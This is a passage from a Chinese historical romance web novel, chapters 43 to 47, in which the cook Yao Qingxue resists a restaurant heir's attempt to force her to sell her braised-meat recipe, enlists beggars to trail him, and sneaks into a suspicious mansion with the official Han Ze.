“兄弟们干活还用得着监工?”杜七眉毛一挑,“大人让我来是因为姚家无壮年男子,怕你们有事她一个姑娘家不好办。”杜七小声说:“房子修完姚厨娘才好去给韩大人做饭,不然他日日挨饿。” 众人都是一副了然的表情,姚家的情况他们都了解,韩大人喜欢姚厨娘的手艺,爱屋及乌帮一下姚家也说得过去。 韩泽进屋落座,姚福和刘氏互相看了看,俩人端着碗去外面了。 杜七小声问刘氏:“你们怎么出来了?”堂屋不大,坐不下十多个人,瓦匠们就在屋檐下临时搭了两张饭桌,在外面吃凉快也宽敞。 刘氏小声道:“在你家大人面前,我可吃不下去。” 杜七忍笑,其他工匠们也憋笑,大家边吃边小声说着话。 堂屋里芽芽眨巴着眼睛看韩泽,她以前怕韩泽,现在不知怎么地没那么怕了,而且看他还有点不大顺眼,总来找她姐,烦人。爷爷奶奶端着碗出去,芽芽没动。 “大人,今日怎么来了?”姚轻雪说着夹了一块香辣鱼,把刺挑出来放到韩泽碗里。 芽芽张大了嘴巴,她姐在韩家都是这样伺候人?还得把菜给夹到碗里? 韩泽:“咳咳,伤好了。” 姚轻雪:“……”刚刚脑子糊了,她又夹了块鱼肉挑好刺给妹妹。 芽芽目瞪口呆的样子,让姚轻雪尴尬,她给自己找颜面:“前些日子韩大人受伤了,两只胳膊都不能动,吃饭用不上力气,挑刺是细致活,韩大人给姐发工钱,姐得帮他。” 芽芽“哦”了声,低头扒饭,前日在韩家她姐陪她,韩大人怎么吃地饭?哼。 韩泽嘴边勾了勾,见芽芽望过来,他迅速抚平嘴角,若无其事地慢慢夹菜。 吃过饭韩泽就走了,他来这一趟好像专门为了蹭饭。杜七剔着牙跟人说:“你们瞧,我没说错吧,我们大人一日吃不到姚厨娘做的饭菜就难受。” “以后吃不到我也会难受。”“姚厨娘手艺这么好,怎么不去开食肆?”“你傻?她开食肆谁给韩大人做饭?” 瓦匠们在屋檐下消食闲聊,过了一刻钟便开始干活。这一日房顶屋檐彻底修完, 第三天修屋内墙壁和院墙。屋里墙面加厚上了一层泥浆。屋外砖面哪有缺口就补哪儿。四周院墙的豁口就简单,碎砖碎瓦补完一抹就行。十人堵完墙又给大门刷了油漆。 本来半日就能干完的活,愣是让他们拖着多干了小半日,就为多吃一顿午膳。今日午膳盛丰,有糖醋里脊、油炸河虾、四喜丸子、茱萸炖鸡块、酿豆腐、蒜蓉鱼片。众人吃的肚子溜圆。 临走时杜七道:“姚厨娘您家还有没有别的宅子要修?这饭我们没吃够啊。” 姚轻雪:“各位以后想吃了就过来家里,家门你们都认得,来了我都招待。” “这可是你说的,哪日我们上门,姚厨娘可不行赶我们走。” 说的玩笑话,大家心里都清楚,一个是情分没到,另外人家是韩泽的厨娘,哪能给他们做饭。不过这趟差事虽然没什么油水,但吃的着实过瘾。工匠们很满意。 杜七与他们勾肩搭背往巷外走,“韩大人给了银子,约个时间咱们去喝酒。” “择日不如撞日,今晚就去。” “可行了吧,都吃到嗓子眼了,晚上你还吃得下去?” 此话引得大家一阵哄笑。 送走了人,姚家四口站在院外看着崭新的大门、铮亮的屋顶,短短三日老房子跟新房子似的。再看看巷子里其他家,原来姚家最破,现在哪家都不如姚家。尤其是屋顶的瓦片与左右邻居相比明显高了几个档次。瓦匠说这瓦至少能用五十年,也不知道是真是假。 刘氏感慨:“这钱花得值。” 房子修了,银子花了,姚福觉得他不能再待下了。当日便去买了料和猪下水回来做卤味。 第一日生意极好,姚福负责切、姚轻雪称重打包,刘氏只管收银子,三人分工合作。一个时辰就都卖完了,最后剩下一些细碎卖相不好的,姚福包在一起给街口讨饭的小乞丐了。 姚轻雪本想帮着做几天,但很快曹叔来接她。姚福让孙女赶紧回去。“拿着人家工钱别总往家跑,好好给韩大人做饭,这几日我瞧着韩大人都瘦了。” 姚轻雪无语,心道您可真是我亲爷爷。韩泽瘦没瘦不知道,反正饿得两眼昏花是真的。昨日姚家完工,他便等人回来,左等右等不回。想着今日总该回来了吧?早饭他都没吃,等到中午还不见人回。 韩大人气闷,他家厨娘是不是忘了还有他这个主子?房子帮她在最短时间内修好,她还不赶紧回来干正事?韩泽脸色黑的吓人,曹叔知道他这是肚子又闹妖了。便主动提出去接姚厨娘。 姚轻雪进院就看见房门口站着的韩泽两眼冒火,直勾勾地盯着她,一副要吃人的表情。怨气这么重,再饿两顿估计他得升天,她赶紧撸袖子进灶房。 早上曹叔把菜都买了回来。姚轻雪以最快的速度做出三菜一汤。吃饱饭韩大人心里舒坦了,这才想起问姚家的房子修得如何? “我爷爷奶奶很满意,他们叫我好好谢谢您。大人,杜七请工匠们喝酒的银子我来出。” “用不着。”韩泽舒服地靠在椅子上,“大理寺与各部打交道是常有的事,请他们喝酒不单是为了这次给你家修房子,杜七会处理好,你不用管。” “那不行,您出人又出力,总不能还让您搭银子。”姚轻雪把她这几个月攒下的十两银子拿出来。 “几个月才攒这么点,都不够两坛酒的,收起来吧。”韩泽嘲笑她钱少。 姚轻雪气,不要拉倒,她还不给了呢。“对了,这次修房子花了不少银子,我爷爷心疼了,还要继续摆摊,他一年内断腿又伤头,我不大放心,我想去帮忙,不会耽搁做饭,您看行不?” 韩泽想了想,点头,“你安排时间。”他得给姚家二老留个好印象,去就去吧,不耽搁他吃饭就成。 韩泽痛快,姚轻雪也不小气,次日起了个大早给他做汤包。开始几天姚轻雪尽心尽力、一日三餐一顿不落,但人的精力有限。又要帮姚福,又要照顾韩泽一日三餐,几天后她就力不从心了。尤其是姚福为了多赚银子,各种卤味全都上,经常要到下午才能卖完。 生意好是好,但是真累啊。有时忙得忘了时间,午饭便不及时。一次两次还好,次数多了韩泽就不大高兴,他饿不得,一饿心情就差。尽管不说,但就他那臭脸谁都看得出来。 第44章 第44章强买 韩泽刚帮家里修了房子,姚轻雪不能这个时候离开韩家。为了安抚一饿就暴躁的男人,她挤出时间做了肉脯,方便携带好吃还顶饱。上次做的牛肉干,韩泽也挺喜欢。姚轻雪缝了小袋子,里面用的油布,肉脯肉干再用油纸包上放进去,韩大人每日拎着上直。 从此韩泽身上总有若有似无的肉香味,惹得大理寺院内的猫日日都要到他公署前蹲坐叫唤。不但猫能闻着味儿,人也顺着味儿来了。陆寺卿偶尔会到韩泽屋里转一圈,顺便吃他口袋里的肉脯。 这日陆大人吃着肉脯问:“你家那厨娘怎么不来大理寺卖吃食了?” “大人想吃差人去买便是。”姚家卤味卖出了名气,在哪儿都不愁卖,犯不着跑大理寺门前来。就是他家厨娘,最近累得下巴都尖了,他又不好说什么。 看着陆方又拿走他一半的肉脯,韩泽无奈:“大人,那是卑职的午饭。” “这点哪够你吃,别饿着,午膳饭堂有肉包。”陆方嘴里嚼着肉脯,迈着四方步往外走。 韩泽心道那包子不能细品,最好整个吞下去,您都不爱吃。 “对了。”走到门外的陆大人像是突然想起什么事,往回走了几步,“陛下让你进宫一趟。” 韩泽:“……”您为了口吃的都快把正事忘了。 …… 短短半个月姚家卤味赚了之前两个月的银子,刘氏和姚福乐得合不拢嘴。以前一两银子掰开花的日子过了几十年,现在怀里揣几百两反倒更忙更累,这哪行?姚轻雪想着这段日子就这样吧,等天冷了坚决不让他俩出摊。钱是永远赚不完的。 姚轻雪想着,低头给客人包东西,就听有人喊:“后来的排队啊。” 她抬头见一穿锦缎衣服的公子走到姚福面前,张嘴就道:“你家卤肉方子怎么卖?” 姚福低头切肉,随口便把猪大肠、猪肚报了个价,正要往下说时。那人不耐道:“你耳朵聋吗?我说卤肉方子,方子。” 姚轻雪停下手,“这位公子,我家只卖卤味,不卖方子。” 华服公子皱了皱眉,他身边的随从挤上前来:“方子卖给我们,比你日日摆摊划算,老头你考虑考虑。” “不用考虑,我说不卖就不卖,金山银山都不卖,请你们离开。”姚轻雪也不耐烦了。 那随从怒了,喊道:“我和姚老头说话,哪里有你个女人说话的份。” 姚轻雪高声道:“这方子就是我这个女人琢磨出来的,我爷爷奶奶都不知道配方,你说我有没有说话的资格?我不卖你还想强买不成?” 人群里有人道:“人家不卖赶紧走吧,别耽搁时间。” “不识抬举。”锦衣公子丢下这句,带人走了。 大家继续排队,客人点了东西,姚福迟迟没动刀,刘氏唤了两声才让他回神?姚轻雪心想爷爷难道被吓着了? 姚轻雪正在给一位老者打包,这位老人是他们家的常客,几乎把姚家卤味都吃了个遍,日日都要来买上一些回家当下酒菜。 老人小声提醒:“姚家姑娘,那人是德运楼少东家张茂才,我听说那张家做事不磊落,德运楼有些菜品便是从别处强买来的,他既然看上了你家卤味,就不会轻易收手,你要有个准备。” 姚轻雪心里“咯噔”一下,德运楼她知道,京城数得上名字的酒楼。虽不及万福楼,但也是日进斗金。没想到背后老板心是黑的。眼前老者显然是知道什么才会这么说,姚轻雪低声道谢,偷偷给老人多包了些卤味。 等客人少了,过来帮爹娘卖烧饼的曲长平走过来:“姚爷爷刘奶奶,姚姑娘,那人怕是不会善罢甘休,你们以后得小心些。” 姚轻雪道:“被人盯上,怎么小心都躲不过。谢谢你曲童生,你家今日生意好吗?” “还行。”曲长平挠挠头,脸上微红:“托了你家的福,我家烧饼卖的比以前多。”有人不想做饭,买点卤味顺便买几个烧饼或是包子,一凑合就是一顿饭。 曲婶子捅捅曲老爹,小声说:“你儿子这几日总要来帮忙,还总去姚家那边,他是不是看上人家了?” 曲老爹没言语,儿子无事献殷勤不是瞎子都看得出来。姚家姑娘是不错,能干孝顺做事干脆利落,比他木讷的爷爷强多了。不过他家儿子才十五,还想考秀才呢,定亲得等几年。但姚家姑娘今年十八了等不起吧。 今日卤味卖完太阳都快要落山了。回去的路上,姚轻雪见姚福心不在焉,便道:“爷爷,您不用怕,这里是京城,他们不敢乱来的。敢来硬的,咱们就去报官,我们不怕。” 姚福没吭声。刘氏狐疑,“老头子,你不会被那小子吓着了吧?” “你懂什么?”姚福没好气道,“那人我认识。” 认识?姚轻雪问:“您怎么认识德运楼的少东家?” 姚福嘟囔:“我不认识德运楼少东家,但我知道他是害我断腿的那小子。” 几个月前姚福在街边卖包子,突然有马车冲撞过来,他躲闪不及摔倒断了腿。当时姚福看见张茂才撩起帘子时冷漠的脸,因是撞伤他的人所以姚福记得特别清楚。之后那辆马车扬长而去,事后姚家也没人报官,此事便不了了之。 竟然是他!姚轻雪这个气,要不是张茂才,姚福就不会断腿,她也就不会先去张家再去安国公府,惹来杀身之祸,到现在还在大理寺的监视中。还想要她的方子?做梦! 按照今日那位老者的说法,张茂才是惯犯,怕不会就此罢休,她得想个应对的法子。姚轻雪还没想出办法,那边张家派媒人上门。媒人口灿莲花,把张茂才说得天上有地上无,最后是要姚轻雪去给他做妾。 姚轻雪拿扫把把人赶出去,想白得她的方子,这张家算盘打得精,手段也够下作。 姚福和刘氏气得半死,刘氏:“报官吧,前面你爷摔断腿的账还没跟他算呢。” 姚轻雪摇头:“那会儿没报官,时间过去太久,人证物证早就没了。现在报官已经没用了,人家不会认。而且现在也没把咱们怎么着,官府不会管。”她担心报官根本没有用,德运楼怕是背后有人,不然不会明目张胆强买别人方子。 “那咋办?”刘氏发愁,“要不找韩大人帮忙?” 姚轻雪没吭声,韩泽帮她已经够多了,她不好事事都麻烦他。若是没有韩泽,她还不活了?况且张茂才并没有实际行动,韩泽也定不了他的罪。 强买未遂,纳妾不成,张茂才便开始使坏。接下来几天,姚家卤味摊上总有人捣乱,不是嫌弃缺斤少两,就是嫌给的位置不好。猪大肠能分出个美丑来? 捣乱的人占着位置吵吵嚷嚷,让其他人没法买,这么一耽搁有些人就走了。几乎每隔半个时辰便来这么个人,姚轻雪不用想就知道是那张茂才搞得鬼。 姚福去衙门找官差来,捣乱的就溜走,一连两日都是如此。官差不耐烦,“你们是不是得罪了什么人?找人说合说合,冤家宜解不宜结,做生意和气生财。”这之后姚福再去衙门就没人理他了。 总这么下去不是办法,而且指不定张茂才还有什么阴招损招。思虑再三,姚轻雪决定不能坐以待毙。她去找李通,给了他十两银子,“李叔,您在京城人脉广,给暗中打听打听德运楼,尤其是德运楼少东家张茂才,若是能抓到把柄最好不过。” 李通做牙人生意,认识的人多门路也广,要打听德运楼的事比她容易得多。张茂才就此罢休还则罢了,他若是敢来阴的,她也不会客气。掌握张家的阴私之事越多对她越有利。 李通问清缘由,“这好办,我尽力给你打听,银子你收回去,李叔怎么能要你的钱。” “李叔,您请人喝茶吃酒哪个不用钱,没诚意谁会跟您说有用的消息?我找您办事总不能让您掏银子,您拿着,不够再跟我说。您若是不要我可没脸求您办事。” 李通大笑:“你这丫头比你爷爷扛事,行,这银子我收下,等有了消息我去寻你。” 从李通那出来姚轻雪寻思去一趟桃儿街,桃儿街有一处废宅子,里面住着乞丐。有些事姚轻雪去做不方便,但乞丐们却再合适不过。 但桃儿街远离主城,听说那边住的人比较杂。姚轻雪一个人不太敢去,毕竟她也算是有点姿色的姑娘,万一被懒汉纠缠不好办。身边又没有男性朋友,于是她想到了曲长平。 曲长平虽然年纪不大,但是男子,有男人跟着旁人就不敢乱来。曲长平听说姚轻雪有事找他帮忙,他丢下书就跟着走了。等来到桃儿街,少年却不敢往里进。街边站着的男人,看着就不像好人。 带着帷帽的姚轻雪给他壮胆,“放心,带着家伙呢。”她把篮子里的灰布掀开一角,露出菜刀的刀尖儿。 第45章 第45章桃儿园 曲长平打了个哆嗦,看姚轻雪的眼神都不一样了。 姚轻雪透过白色的面纱对他微微一笑。“别怕,走吧。” 小少年被这个模糊的笑容晃了眼,他立时挺直腰板,昂首挺胸大步向前。家门口晒太阳抓痒痒的懒汉冲姚轻雪吹了声口哨,曲长平狠狠瞪了过去。 两人来到桃儿街最里面的宅子,宅门外的墙上挂着一块木牌,木牌上写着“桃儿园”三个字。破旧的大门四敞大开,院里几个光屁股的孩子正在玩石子。 姚轻雪敲了敲门板问:“你们管事的可在?”凡事人群聚集之地,一定得有管事的,不然这地方长久不了。 一个年岁稍大的孩子跑进屋里,不多时,一位老者走到屋门口问 :“何事?” “有事相求,可否进一步说话?”姚轻雪道。 老头看了看二人,点了下头。“进来吧。” 姚轻雪与曲长平跨步进院进了老人的屋子。进去一瞧,屋里还有六七个十几岁的孩子,重点是他们人手一根木棍,正虎视眈眈地看着走进来的两人。 曲长平有些慌,姚轻雪摘下帷帽给他一个安抚的眼神,然后微微颔首:“老人家好!” 老者上下打量这一男一女。少年强装镇定,胆怯与慌张在稚嫩的脸上显露无疑。老头看了两眼便知姑娘是主事的。他问姚轻雪:“找我何事?” 姚轻雪不意外,她说明来意,要做之事毕竟见不得光,不说明白人家不会乐意接这个活。她做这事道德上占着理,想来只要乞丐们不与张家同伙,便不会对她有敌意。 老者摸着胡须打量姚轻雪,“我记得姚家卤味的摊主是个老头?” “那是我爷爷。”姚轻雪道。 老人点点头,“坐吧。”他让孩子们都出去。 屋内有张八仙桌,姚轻雪脚下移步、快速打量,这房子年久失修,屋内墙壁斑驳不堪,窗户也是补了又补,里面靠墙有一张大通铺,像是用泥垒的,床铺占去屋里的大部分空间。 二人坐到老人对面,姚轻雪把篮子放在脚边。“老人家如何称呼?” “叫我鲁老头就好。”老人道,“我见过你爷爷,那老头心善,以前常给乞儿们包子,现在也会给些卤味,你家卤味我吃过,味道不错。老头我还去买过,你爷爷也没嫌弃,还多给了我二两。” 姚轻雪笑了,没想到还有这等渊源,看来人还得做善事,结善缘。“鲁爷爷想吃,改天我给您送些来。”不知老乞丐年岁几何,但看上去与姚福差不多,她便叫爷爷了。 鲁老头笑笑,然后道:“姚家卤味的方子若是被德运楼买去,我可是吃不起的。你这活我接了,不过孩子们干不了大事,只能跟着那张茂才看看他平日都做什么,若是有见不得人的地方或许能发现,再大的事我们也无能为力。” “您尽管让人去打探,能探到什么最好,没有我也不会把银子收回来。”姚轻雪掏出十两银子放到桌上,“您看这些够吗?” “够了,这些够孩子们吃个把月粗面馒头了。”鲁老头眼睛眯成了一条缝,他看上去很高兴。 姚轻雪看了看外面还在玩石头的孩子问:“鲁爷爷,您这里怎么都是孩子?” “哎!”鲁老头轻轻叹口气望向屋外的孩子们。“大的都走了,走了一茬又一茬,来了也是一茬又一茬。”他目光幽深,又透着无线悲凉。 姚轻雪心里不好受,对老人心生崇敬,但她管不了别人,更管不了世间不公。“鲁爷爷,事情就拜托您了。”她起身给老人鞠了一躬,“今日没带那么多银子,等下次来我再追加十两,算是对孩子们的一点心意。” 老人笑道:“随你,我这就是无底洞,你要是嫌银子多尽管往这里扔。” 与老人告辞,姚轻雪挎着篮子与曲长平走出桃儿园。鲁老头站在大门外目送他们走出巷子。几个懒汉原本想过过嘴瘾,见了老乞丐都没敢吭声。 出了桃儿街,曲长平回头偷偷看,他拍拍心口,“吓死我了。”从进去到出来他一句话没敢说。 “小童生你胆子不行哦。”姚轻雪打趣他。 “我不小了。”曲长平嘟囔。 姚轻雪没听见他说什么,也没问,“我们不是去找事,是请人办事给银子的,他们不会把我们怎么样。若是去找茬,那今日就要挨揍了。” 曲长平哪里会不知道,但就是忍不住害怕。“姚姑娘你胆子真大。”平日看着多温柔亲切的姑娘啊,转脸便腕挎菜刀,今日的姚轻雪完全出乎他的意料,曲童生的心更加热切了。 姚轻雪不知小少年的心思,她苦笑道:“其实我也怕,若不然也不会喊你过来,但有些事怕也得做,今日多谢你曲童生,最近我事情多,等有空了请你吃饭。” 曲长平刚想拒绝,可一想吃饭不就又能见到人了?到时候他付银子就是,“好,我等着姚姑娘。” “我年长你三岁,不嫌弃可以叫我姐姐。”姚轻雪挺喜欢这个乖巧懂事的男孩。 “不是姐姐。”曲长平嘟囔。“下次再来一定要叫上我,千万不能一个人来。” 姚轻雪笑道:“好,叫上你。” 接下来,姚轻雪照常陪爷爷奶奶出摊,中午和晚上回去给韩泽做饭。三日后,李通那边有了消息。 “张茂才的岳父在衙门做主簿,他岳父倒还好,他姨夫来头就大了,张茂才的姨夫冯震是光禄寺卿,从三品,惹不起啊丫头,不然算了吧。”李通担心道。 “算了,我就得把方子卖给他们,但我不想给。”姚轻雪道,“李叔您放心,我不会乱来,了解他的事是为了将来有一天见官用得着,他若硬抢我必定要报官。” “好吧。”李通也没在说什么,毕竟不是自家的事,“除了张家背后的靠山,我还听说张茂才养外室,具体在哪儿就不清楚了。” 李通还说了被德运楼强买强卖的小摊贩,但这些都给了银子,而且德运楼签了契约,作用不大。还有张家贿赂官员,只是听说没有证据,姚轻雪更是无从查起。 现在唯一能做文章的就是张茂才养外室,其实这也没多大用。顶多把这事捅到张茂才正室那里,让他家宅不宁,可这也解决不了姚家的问题。 姚轻雪有点愁,想想也可以理解,张茂才做坏事,怎么会留下把柄轻易让人抓到呢?看来寻常的打探根本没什么用。 五日后,桃儿街那边也来了消息。小乞丐们跟踪张茂才发现了他晚上常去一处宅子。 姚轻雪纠结到底要不要去看看?养外室这种事对有钱有权的人来说根本就不算事,那张茂才的妻子即便知道也未必会闹。即便大闹一场眼下的问题也还是解决不了。 好歹花了二十两,去看看吧。晚饭后姚轻雪跟韩泽说想回家住一晚,韩泽同意了。 等姚轻雪挎着篮子走后,韩泽觉得不对劲,他家厨娘这几日心事重重,问她什么也不说。天都快黑了她突然回家做什么?下午不是刚从家里回来吗?曹叔要送她还不让,说是自己雇车回去。韩大人正好饭后消食就跟了出去。 太平巷口,小乞丐见到姚轻雪就跑了过来:“姐姐,爷爷让我带你过去。” “谢谢你鲁冬。”去卤味摊给她送信的也是这个叫鲁冬小乞丐。 姚轻雪从篮子里拿出两张鸡蛋饼给鲁冬,这是她出门前特意烙的。然后两人雇了一辆马车去了溪口街百花巷。等到了地方,天已经黑下来,各家门口都挂上了灯笼。 鲁冬指着百花巷最里面一座宅子说:“就是那里,张茂才五天来了两次,他还带了别人,我们跟了一个是个大官,爷爷说这里可能有事儿。” “大官?多大的官?”姚轻雪问,不是张茂才养外室的地儿吗?怎么会有外男、还是大官来这里? “不知道。”鲁冬摇摇头,“我跟了那人两天,昨日见他穿紫色官服,爷爷说是大官。” 姚轻雪心里一惊,紫色官服官的确不小。这宅子到底是干什么的?牵扯朝中大员她不能轻举妄动。但若是能得到有用的信息,或许可以一用,可是若不小心知道了什么秘密,或许会被杀人灭口。真是左右为难,所以要不要看? 这时一辆马车往这边驶来,鲁冬小声说:“ 就是这辆马车,每次来这里都是这辆。” 姚轻雪赶紧拉着鲁冬往远处走了走,等马车驶进百花巷,她俩才来到巷口偷偷往里面瞧,那辆马车果然停在最里面的宅门外。 很快从马车上下来两个人,在门前灯笼微弱的光线下,姚轻雪看清了其中一人就是张茂才,而张茂才对另外一人十分恭顺。 那人会是谁?此处会不会是德运楼专门用来行贿之所?若是的话将此事告知韩泽,大理寺说不定能将张茂才办了。 姚轻雪正想着,耳边突然有人问:“你在这里做什么?” 第46章 第46章小心脏扑通扑通 本来就是偷偷摸摸怕被发现,这一声把姚轻雪吓得差点蹦起来,她伸手就把篮子里的菜刀抽出来。 鲁冬:“……”这位姐姐很有鲁爷爷的风范,以前周围懒汉常欺负他们。某一次有两人醉酒去桃儿园闹,鲁爷爷拎菜刀追着他们砍,把整条街的人都惊动了,从那以后再没人敢招惹桃儿园。 韩泽:“……”他家厨娘什么毛病?“你拿刀做什么?” 见是韩泽姚轻雪先是一愣,而后面不改色将刀慢慢放回篮子里,盖上麻布。“走夜路防身。” “这把难道是家里切菜的刀?”远处不知谁家门前的灯笼随风轻轻晃动,韩大人半边脸忽明忽暗,另半边脸几乎是黑的,看上去有点渗人。 姚轻雪心虚赔笑:“哪能啊,这是另外一把。”她边说边寻思韩泽为何会出现在这里?太平巷离这里可不近,马车得走两刻多钟,唯一的解释是他跟踪而来。还真是时时刻刻都在监视她啊。 “大人您是不放心我?还是怀疑我?”姚轻雪也不绕弯子。 “不该怀疑吗?”韩泽幽幽道,“先说说你跑这边来做什么?还带着菜刀,京城治安很好,夜里也有士兵巡逻,只要不走偏僻小道就不存在安全问题。说说吧,这次又是什么?” 鲁冬先是警惕韩泽,听了会儿发现他们认识,“姐姐,他是谁啊?” “放心,他不是坏人。”姚轻雪从荷包里拿出二十个铜板给鲁冬,“租辆车回去吧,天黑了。” 鲁冬乐呵呵接过去,“谢谢姐姐,乞丐不怕黑的,兄弟们在那边等我,我们一起走,这钱明日买包子。” 小孩儿很高兴,姚轻雪心里却不是滋味儿,她以为命苦,但总有人比她命更苦。“行,你自己看着办,回去转告鲁爷爷,改天我去给他送卤味。” “嗯,爷爷最喜欢你家卤味了。”鲁冬蹦蹦跶跶走了,姚轻雪看着他走到街角,和那里的几个孩子一起消失在夜色里。 “人都走了,现在该说说你的事了,还有你怎么搭上的乞丐?”韩泽两手抱臂看着他家厨娘。不用想,能让她拿菜刀防身准没好事。可真能耐,才几天没盯着她。 面对韩泽她就别自作聪明了,姚轻雪一五一十地把事情都说了。 “张茂才让你给他做妾?”韩泽声音里透着寒意。 “归根结底还是为了方子,他倒未必看得上我。每日都有人来摊前捣乱,一定是张茂才搞得鬼,我就想找些张家的把柄,刚才那孩子是桃儿街的乞儿,我花银子请他们跟着张茂才找到这处宅子。” “大人!”姚轻雪凑近了小声道:“我刚才看见张茂才和一个男人进去了,不知道他们在干什么,您有没有办法进去看看?” “我是大理寺官差,不是夜贼。”韩泽看她的眼神十分复杂。也不知道他家厨娘脑子里想的都是什么?放着他这么大个人物不用,偏自己跑过来查。 “哎呀,别让人发现,谁知道您是韩少卿啊?您就不想抓哪个大人物的把柄?鲁冬他看见穿紫色官服的人进去过。”姚轻雪循循善诱,“把柄您可以不用,但一定要有,万一将来用得着呢,您说是不是?” 说的好像她走这一趟是为了他似的,韩泽对着黑夜翻了个白眼。不过紫色官服的人进了宅子?韩泽眯了眯眼,那高低得进去看一眼。“你在这等着,我去看看。” “带上我。”姚轻雪扯住韩泽的袖子,“地方是我寻到的,您不能把我抛下,再说我一人在这,天黑,我怕。” 韩泽冷笑:“你会怕?”他扯了扯袖子,没扯出来。 姚轻雪不撒手,她没办法进宅子,韩泽一定办得到。 韩大人无奈:“别出声,听我的,做得到?” “嗯嗯。”姚轻雪连连点头,必须做到。 俩人绕到宅子后面,姚轻雪把装菜刀的篮子放到墙边。韩泽先翻上墙,见后院没人便把手伸下来。 姚轻雪刚把手搭在韩泽手上,只觉得“忽”一下,她就“飘”进院墙里。姚轻雪有些兴奋,很小声地问:“大人,您能带我飞吗?” 韩泽同样小声道:“闭嘴,不然把你扔出去。” 姚轻雪抿紧嘴巴一声不敢吭了。 两人借着月光往前院摸去。韩泽在前面领路,姚轻雪扯着他后腰带亦步亦趋地跟在后面。韩泽走几步就摸摸腰带,看看有没有被他家厨娘扯开。 这宅子挺大,还有提着灯笼巡逻的家丁。路过一处月洞门时,要不是韩泽反应快,回身把姚轻雪压在墙上,用他一身黑衣遮住她的一身粉,说不定得被发现。 脑袋被压在胸膛与墙之间,耳边是韩泽有力的心跳,姚轻雪脸上一热,小心脏扑通扑通跳个不停。 等人走过去,韩泽这才惊觉情急之下他做了失礼之事,但此时顾不上这么多,怕出错,他攥着姚轻雪的手没撒开。 姚轻雪知道轻重,乖乖让人牵着,只是手心都是汗。 软乎乎、汗津津的小手在自己掌心,韩泽有些恍惚,这跟牵自家妹妹完全不同。韩大人用另一只手按了按心口,试图让心跳慢下来。 大约一盏茶的时间,俩人避开巡逻的家丁来到正院。正房四周也有人把守,韩泽很好奇,张茂才区区一介商户,即便在这里会客也用不着这么多人看守,这样子不像是养外室那么简单。 答案就在眼前,韩泽想一探究竟,他一人过去没有问题,但带着姚轻雪不大方便,又不敢把她放这,只能等。两人隐在暗处,过了大约一刻钟,窗下看守的男人掏了掏耳朵,对旁边几人招了招手,几人往外走,同时屋里传来女人的浪|叫。 韩泽一顿,大约是知道这些人为何突然离开。还要不要去过去?姚轻雪推了推他,“快快,他们走了,咱们快过去。” 韩泽:“……” 俩人蹑手蹑脚来到窗下,屋里淫靡之声更加清晰,韩泽有些不想看了,可他家厨娘跃跃欲试,两眼放光。 韩泽想着看一眼赶紧走,他捅破窗户纸往里瞧,然后着实惊呆了。姚轻雪见他看起来没完,用手指戳戳他,轻轻把他推到一边,把眼睛凑到小孔往里看。 嚯!刺激!一男战三女。男人大腹便便,皮肤松弛,老脸一把褶子。三位姑娘青春貌美、如花似月,啧啧,也不知道仨姑娘怎么下得去口。姚轻雪看得进津津有味,突然感觉脚下一空。等回过神,她已经被韩泽扛着飞起来。他俩刚走,看守的就回来了。 原路翻出院墙,姚轻雪捂着怦怦跳的小心脏,“怎么就出来了?还没找到张茂才呢。” 找他做什么?看活春宫?韩泽找到地上的篮子,拿起来塞到他家厨娘手里。领人走出几条巷子才放慢脚步。 “这里的事你不要再管,也不许外传,卤味摊的事我会帮你解决。”他倒要看看朝中有多少道貌岸然的家伙。 月光下,姚轻雪看不清韩泽的脸,但直觉告诉她,刚刚那个老男人身份怕是不简单。“可惜了,我还想给张茂才夫人送信,等着看戏呢。大人,那人是谁?好戏连台唱才有意思。” 她这样韩泽更不敢透漏屋里那人,不然她得给朝中二品大员家中送信。她家厨娘路子有点野,这事绝对干得出来。“不准再来这里,更不准去招张茂才,他欺负你就去找我,记住了没有?” “知道了。”姚轻雪嘟囔,“花出去二十两银子,什么事都没 干成。” 韩泽冷哼:“对自己那么抠门,这事倒是大方。” 姚轻雪笑,韩泽也会说抠门这等不雅字眼,“对自己扣是因为银子不够多不敢花,现在大方是为了保住饭碗以后赚更多银子,孰轻孰重我分得清。舍不得孩子套不着狼,要不是我花了二十两打探消息,您也不知道这里有个淫窝不是?怎么看都是您获益最多,所以二十两合该走大理寺公账,您给报销了吧。” 韩泽:“……” “哎,韩大人您走慢点,您给个话儿,大理寺给不给报?”姚轻雪提着裙摆追前面大步流星的男人。 跑着跑着她发现与韩泽的距离永远那么大,她慢他也慢,她快韩泽也快,感情是逗她玩呢。“哼,不走了。”姚轻雪往地上一蹲,“跑不动了。” 韩泽回身提溜脖领子把她提起来,“你在这蹲着还带着菜刀,当心巡逻的把你抓起来。” “那不是还有韩大人您吗?”姚轻雪不以为意。“才不会被抓起来,您就吓唬我。” “若是让人看见我在这附近出现,那宅子怕是得搬,少废话别坏了事赶紧走。”韩泽半拖着她,俩人专挑无人的小巷子走。 走了约一刻钟,他们来到一条繁华的大街上,这才算远离了百花巷。此时尚不算晚,街上还有很多小摊没收。 姚轻雪这几天心里装着事,没怎么好好吃饭,这会儿大事有了着落,突然就饿了,很饿很饿。 路过烤肉摊,姚轻雪揪住韩泽的袖子。 第47章 第47章“您相公真知道疼人。”…… 韩泽回头,姚轻雪眼巴巴地看看他,再看看散发香气的肉串,什么意思不言而喻。 摊主笑道:“公子别舍不得花银子,瞧把您家娘子饿的,对自家娘子要舍得花钱,她才会尽心尽力伺候你。” 姚轻雪忍笑不说话,就这么看着韩大人。 韩泽淡然道:“摊主高见。”他家厨娘还真就是这种人,“要十串。” “好嘞,共一百文。”看着抠,张嘴就是十串,羊肉可不便宜。摊主乐呵呵捡出十串烤得滋滋冒油的羊肉递给姚轻雪。临了好不忘夸一句:“您家相公真知道疼人。” 姚轻雪也不解释,一是陌生人没必要,二是孤男寡女夜里瞎逛,越解释越乱。无关紧要之事韩泽更是懒得多说话。俩人就这么默契地在摊主面前装了一把小夫妻。 姚轻雪边走边吃。羊肉肥瘦正好,没有太多调味,羊肉经过炙烤很香。她递给韩泽一串,“好吃,没有膻味儿,尝尝看。” 没有味儿不可能,在摊前站那一会儿韩泽觉得他身上都是膻味儿。但看他家厨娘吃的香,便鬼使神差地接过来咬一口,凑合吧。 “没骗你吧?”姚轻雪得意,“还要不要?” 韩泽摇头,晚饭吃得饱,这会儿他一点不饿。 “那我给曹叔留五串,他一定喜欢。” “你吃得饱?”一根木签上五块肉,手指甲那么大。 “吃不饱。”姚轻雪一本正经道,“为了曹叔大不了我饿一晚。” 韩泽瞥她一眼,“想吃什么自己选。”说完他又加了一句,“我付银子。” 